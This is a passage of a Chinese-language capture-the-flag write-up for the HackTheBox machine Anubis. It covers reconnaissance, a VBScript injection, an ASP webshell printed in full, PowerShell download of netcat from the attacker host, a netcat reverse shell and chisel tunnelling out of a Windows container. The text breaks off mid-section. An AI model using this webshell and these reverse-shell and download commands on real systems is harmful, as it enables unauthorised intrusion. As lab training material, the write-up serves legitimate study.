0x01 简介
Anubis是由作者4ndr34z在HackTheBox平台上设计,难度相对较高的靶场。该靶场知识点内容涵盖上传ASP webshell、突破容器、然后在
jamovi 中利用 XSS漏洞获取用户帐户并最终针对 ADCS(Active Directory 证书服务)进行权限升级的利用的真实场景。
靶场知识链条
1.1信息收集
Ønmap
1.2目录枚举
Ø目录/文件枚举
Ø带有 VBScript 注入的联系页面
1.3渗透测试
Ø联系页面上的 ASP Webshell
Ø打破 Windows 容器
Ø跨站脚本漏洞CVE-2021-28079 – Jamovi <= 1.16.18
1.4权限提升
·ADCS 域升级(认证二手研究论文)
·重新配置 Web 模板
·注册管理员以获得证书
·使用 Rubeus 揭示管理员的 NTLM 哈希
·祝贺拿到root用户flag文件
让我们开始
0x02 网络扫描
分配给这台机器的 IP 是 10.129.95.208。Nmap 扫描显示一个网站在端口 443 上运行。首先在我们的 hosts 文件中添加了该网站
SSL 证书中提到的通用名称,用于 DNS 路由。(如图2.1所示)nmap -sV -sC -Pn 10.129.95.208echo “10.129.95.208 www.windcorp.htb” >> /etc/hosts
图2.1 nmap端口扫描
0x03 目录枚举
枚举目录后,我们找不到任何有价值的目录页面,除了页面以 *.asp 结尾的文档页面,通过服务搭建猜测后台有一个 Windows
服务器运行。持续利用工具枚举目标网站将我们带到了联系页面,该页面显示可以以文本方式输入任何内容。因此,我尝试在消息正文中输入一个基本的VBScript,vbscript脚本可以把当前访问的cookie名称更改为
Harshit。(如图3.1所示)
图3.1 插入cookie脚本代码
我们发现服务器试图写入一个
cookie时它抛出了一个错误,但这开辟了利用范围。(如图3.2所示)
图3.2 写入脚本代码页面报错
0x04 开发
Kali 自带一个功能非常强大的 ASP webshell,脚本目录位置位于
/usr/share/webshells/asp/cmdasp.asp,我们对其进行了简单修改之后,然后上传到服务器上。您可以直接使用已经修改完成的脚本,如下(如图4.1所示)
<%
Dim oScriptDim oScriptNetDim oFileSys, oFileDim szCMD, szTempFileOn Error
Resume NextSet oScript = Server.CreateObject(“WSCRIPT.SHELL”)Set oScriptNet
= Server.CreateObject(“WSCRIPT.NETWORK”)Set oFileSys =
Server.CreateObject(“Scripting.FileSystemObject”)szCMD =
Request.Form(“.CMD”)If (szCMD <> “”) ThenszTempFile = “C:” &
oFileSys.GetTempName( )Call oScript.Run ("cmd.exe /c " & szCMD & " > " &
szTempFile, 0, True)Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False,
0)End If%>
图4.1 编写恶意webshell脚本文件
通过联系页面插入后,我们看到现在已将其转换为RCE漏洞。现在通过运行一个简单的命令whoami来测试它(如图4.2所示)
图4.2 运行脚本命令语句
由于目标网站为windows服务器,所以我们提前在攻击机上传一个window
netcat,然后利用系统python启动一个web服务器,然后利用靶场访问攻击机下载我们上传好nc工具,最终通过失陷主机使用powershell命令下载执行。(如图4.3所示)
python3 -m http.server 80
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ykEukb9W-1691584495208)(https://image.3001.net/images/20221019/1666142108_634f4f9c7fcdf28cdef5d.png!small)]图4.3
python启动web服务器
在接收端,我们输入以下命令 powershell one-liner 将这个 exe 保存在受害者桌面上(如图4.4所示)
powershell -c iwr http://10.10.16.3/nc64.exe -outf
\Users\Administrator\Desktop\nc64.exe
图4.4
利用powershell下载nc可执行文件
最后我们在攻击机上设置端口 1337 为监听器,使用 powershell 启动nc64.exe,你可以看到我们收到了一个反向
shell!(如图4.5所示)(如图4.6所示)
start \Users\Administrator\Desktop\nc64.exe 10.10.16.3 1337 -e cmd.exe
nc -nlvp 1337
图4.5
执行nc可执行文件
图4.6 kali接收windows返回shell
运行 whoami 后,我们看到我们具有管理员访问权限。当我们检查 C:\users
目录时,我们发现我们当前在一个容器中。(如图4.7所示)
图4.7 检查 C:\users 目录文件
通过渗透测试以往的经验,我们第一步是在系统上尽可能多收集信息,只有信息收集足够全,对我们下一步渗透会起到至关重要的角色,所以,我们在盘里各种探索,发现在Desktop上观察到了一个
req.txt,查看它是一个证书导出。(如图4.8所示)
图4.8 查看桌面req.txt文件
我们将其复制到本地系统并使用 openssl 命令对其进行解密
openssl req -in req.txt -text
我们发现了一个通用名称参数 (CN) 设置为 softwareportal.windcorp.htb(如图4.9所示)
图4.9 使用 openssl 命令对其进行解密
这个 CN需要我们多注意,因为在我们目录枚举中没有找到这个子域名。因此,我们也在主机文件中添加了这个子域,但机器仍然无法访问它。(如图4.10所示)
图4.10
访问windcorp.htb子域
可以明确得出结论,这是一个在容器内运行的内部网站,我们需要搭建一个隧道来访问它。我们用代理工具
chisel来做到这一点。我们下载了windows二进制文件并启动了一个python服务器(如图4.11所示)
图4.11 查看代理工具 chisel
在受害者的机器上,我们使用 curl 将其下载到桌面(如图4.12所示)
curl http://10.10.16.3/chisel.exe -outfile chisel.exe
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jlp0YHiI-1691584495210)(https://image.3001.net/images/20221019/1666142463_634f50ff5229554fdf30d.png!small)]
图4.12 将chisel代理文件上传window
我们可以使用apt包管理器在kali中安装chisel代理工具。然后我们需要启动一个服务器。(如图4.13所示)
apt install chisel
chisel server -p 8001 --reverse
图4.13 执行chisel代理文件监听
在我们的受害者的机器中,我们需要以客户端模式将chisel连接到这个服务器
.\chisel.exe client 10.10.16.3:8001 R:socks
如你所见,chisel
现在已连接到此服务器(如图4.14所示)
图4.14 chisel连接此服务器
在我们的服务器中,我们看到端口 1080
被用作隧道。(如图4.15所示)
图4.15 代理文件启动并监听
默认情况下,chisel 使用 socks5 代理。因此,我们转到攻击机kali下 proxychains.conf 文件并将此 IP 和端口添加为
socks5 隧道。请注意,proxychain已预先安装在 kali 中,但可以使用 apt 安装。我注释掉了 socks4
行,因为socks5是升级版本支持协议更多一些,所以这里不使用socks4搭建代理。(如图4.16所示)
图4.16 更改kali的proxychains代理配置
此外,在我们的受害者机器中,我们将容器的默认网关记住为
172.22.32.1(如图4.17所示)